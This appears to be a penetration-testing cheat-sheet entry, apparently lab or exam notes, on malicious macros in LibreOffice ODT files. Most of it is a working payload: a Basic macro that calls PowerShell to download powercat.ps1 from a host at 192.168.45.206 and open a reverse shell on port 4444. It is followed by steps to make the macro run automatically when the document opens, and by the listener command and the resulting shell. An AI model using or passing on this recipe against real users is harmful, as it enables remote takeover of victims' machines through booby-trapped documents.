Macros

ODT Files

Via Libreoffice Go to Tools > Macros > Organize Macros > Basic.

---
Sub Main
    Shell("cmd /c powershell IEX (New-ObjectSystem.Net.Webclient).DownloadString('http://192.168.45.206/powercat.ps1');powercat -c 192.168.45.206 -p 4444 -e powershell")
End Sub
---

Then CTRL + S, and set the Macro to automatically run:
Tools > Customize > Events > Open Document > Select the Macro > Save bottom module1

rlwrap nc -lvnp 4444
PS C:\Program Files\LibreOffice\program>

Word

Last updated